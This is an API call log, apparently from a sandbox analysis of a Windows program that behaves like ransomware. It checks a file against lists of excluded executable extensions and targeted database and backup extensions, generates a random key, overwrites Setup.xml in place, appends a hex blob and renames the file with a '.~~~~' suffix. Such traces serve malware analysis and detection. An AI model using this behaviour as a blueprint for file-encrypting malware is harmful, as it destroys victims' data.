	[0075.960] GetLastError () returned 0x0
	[0075.960] SetLastError (dwErrCode=0x0) 
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24c8 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa6b8 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7300 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0075.961] RtlWakeConditionVariable () returned 0x365f70
	[0075.961] GetCurrentThreadId () returned 0xaf0
	[0075.961] GetCurrentThreadId () returned 0xaf0
	[0075.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0075.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa890 | out: hHeap=0x300000) returned 1
	[0075.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ae0
	[0075.961] lstrlenW (lpString=".scr") returned 4
	[0075.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0075.961] lstrlenW (lpString=".cmd") returned 4
	[0075.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0075.961] lstrlenW (lpString=".dll") returned 4
	[0075.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0075.961] lstrlenW (lpString=".bat") returned 4
	[0075.961] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0075.961] lstrlenW (lpString=".cpl") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0075.962] lstrlenW (lpString=".sys") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0075.962] lstrlenW (lpString=".msc") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0075.962] lstrlenW (lpString=".com") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0075.962] lstrlenW (lpString=".lnk") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0075.962] lstrlenW (lpString=".msp") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0075.962] lstrlenW (lpString=".pif") returned 4
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0075.962] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.962] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.962] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.031] lstrlenW (lpString=".sqb") returned 4
	[0076.032] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0076.032] lstrlenW (lpString=".ost") returned 4
	[0076.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0076.103] lstrlenW (lpString=".txt") returned 4
	[0076.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0076.103] lstrlenW (lpString=".mdt") returned 4
	[0076.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0076.103] lstrlenW (lpString=".BDB") returned 4
	[0076.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0076.103] lstrlenW (lpString=".eql") returned 4
	[0076.103] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0076.104] lstrlenW (lpString=".DBF") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0076.104] lstrlenW (lpString=".EQL") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0076.104] lstrlenW (lpString=".FDB") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0076.104] lstrlenW (lpString=".EDB") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0076.104] lstrlenW (lpString=".DACPAC") returned 7
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0076.104] lstrlenW (lpString=".VHD") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0076.104] lstrlenW (lpString=".DBV") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0076.104] lstrlenW (lpString=".dacpac") returned 7
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0076.104] lstrlenW (lpString=".sdf") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0076.104] lstrlenW (lpString=".accdb") returned 6
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0076.104] lstrlenW (lpString=".DBX") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0076.104] lstrlenW (lpString=".MDT") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0076.104] lstrlenW (lpString=".SQB") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0076.104] lstrlenW (lpString=".vhd") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0076.104] lstrlenW (lpString=".bac") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0076.104] lstrlenW (lpString=".mdf") returned 4
	[0076.104] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0076.105] lstrlenW (lpString=".BAK") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0076.105] lstrlenW (lpString=".BAC") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0076.105] lstrlenW (lpString=".dbs") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0076.105] lstrlenW (lpString=".vhdx") returned 5
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0076.105] lstrlenW (lpString=".NDF") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0076.105] lstrlenW (lpString=".dat") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0076.105] lstrlenW (lpString=".DBS") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0076.105] lstrlenW (lpString=".CKP") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0076.105] lstrlenW (lpString=".edb") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0076.105] lstrlenW (lpString=".PST") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0076.105] lstrlenW (lpString=".dbf") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0076.105] lstrlenW (lpString=".SQL") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0076.105] lstrlenW (lpString=".pst") returned 4
	[0076.105] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0076.106] lstrlenW (lpString=".dbv") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0076.106] lstrlenW (lpString=".SDF") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0076.106] lstrlenW (lpString=".dtxs") returned 5
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0076.106] lstrlenW (lpString=".db3") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0076.106] lstrlenW (lpString=".OST") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0076.106] lstrlenW (lpString=".dbx") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0076.106] lstrlenW (lpString=".DB3") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0076.106] lstrlenW (lpString=".DAT") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0076.106] lstrlenW (lpString=".VHDX") returned 5
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0076.106] lstrlenW (lpString=".ndf") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0076.106] lstrlenW (lpString=".DB") returned 3
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0076.106] lstrlenW (lpString=".sql") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0076.106] lstrlenW (lpString=".MYD") returned 4
	[0076.106] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0076.107] lstrlenW (lpString=".DBT") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0076.107] lstrlenW (lpString=".ACCDB") returned 6
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0076.107] lstrlenW (lpString=".fdb") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0076.107] lstrlenW (lpString=".bak") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0076.107] lstrlenW (lpString=".myd") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0076.107] lstrlenW (lpString=".DTXS") returned 5
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0076.107] lstrlenW (lpString=".ckp") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0076.107] lstrlenW (lpString=".dbt") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0076.107] lstrlenW (lpString=".db") returned 3
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0076.107] lstrlenW (lpString=".TXT") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0076.107] lstrlenW (lpString=".MDF") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0076.107] lstrlenW (lpString=".bdb") returned 4
	[0076.107] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0076.108] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.108] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0076.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.108] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.109] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.109] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0076.109] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19609923122) returned 1
	[0076.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9743d870, dwHighDateTime=0x1d60e1e)) 
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa970
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0076.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7b88
	[0076.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7b88 | out: hHeap=0x300000) returned 1
	[0076.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.110] GetLastError () returned 0x0
	[0076.110] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.111] SetLastError (dwErrCode=0x0) 
	[0076.111] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.112] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.112] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.112] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.112] GetLastError () returned 0x0
	[0076.112] SetLastError (dwErrCode=0x0) 
	[0076.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x2824fd8
	[0076.112] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x750, lpOverlapped=0x0) returned 1
	[0076.130] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff8b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.130] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x750, lpOverlapped=0x0) returned 1
	[0076.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0076.130] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.130] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.130] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.130] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.131] CloseHandle (hObject=0x128) returned 1
	[0076.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0076.132] GetLastError () returned 0x0
	[0076.132] SetLastError (dwErrCode=0x0) 
	[0076.132] GetLastError () returned 0x0
	[0076.132] SetLastError (dwErrCode=0x0) 
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7030 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
